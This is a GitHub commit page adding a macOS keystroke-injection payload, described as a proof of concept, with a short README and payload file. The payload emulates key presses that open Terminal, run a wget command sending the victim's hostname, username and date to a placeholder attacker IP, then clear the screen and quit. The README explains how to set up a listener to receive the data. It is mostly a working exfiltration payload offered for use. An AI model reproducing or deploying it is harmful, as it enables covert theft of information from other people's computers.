Skip to content

Commit

Permalink
Add wget-cmd-exfil payload for mac osx
Browse files Browse the repository at this point in the history
Basic PoC to exfil data using wget
  • Loading branch information
dunderhay committed Sep 12, 2019
1 parent 70d7145 commit e826079
Show file tree
Hide file tree
Showing 2 changed files with 32 additions and 0 deletions.
28 changes: 28 additions & 0 deletions Payloads/mac-osx/wget-cmd-exfil/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# PoC to exfil data using wget

* Author: [dunderhay](https://github.com/dunderhay)
* Version: Version 0.1
* Target: Mac-OSX

# Description

Basic Proof on Concept to exfil data from terminal app using wget.

# Notes

Change the Attacker IP address and port number as required.

## Start listener first

You can use whatever web server you want or just use python:

`python -m SimpleHTTPServer <port>`

## Keys Used

The following keys presses are emulated:

| Key | In English | What it does |
| --- | ------------ | ---------- |
| 131+32 | Command (⌘) + Spacebar | Opens spotlight |
| 131+113 | Command (⌘) + q | Quit app |
4 changes: 4 additions & 0 deletions Payloads/mac-osx/wget-cmd-exfil/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Press:131+32
PrintLine:terminal
PrintLine:wget "http://<attacker_ip>:<port>/?host=`hostname`&user=`whoami`&date=`date`"; clear
Press:131+113

0 comments on commit e826079

Please sign in to comment.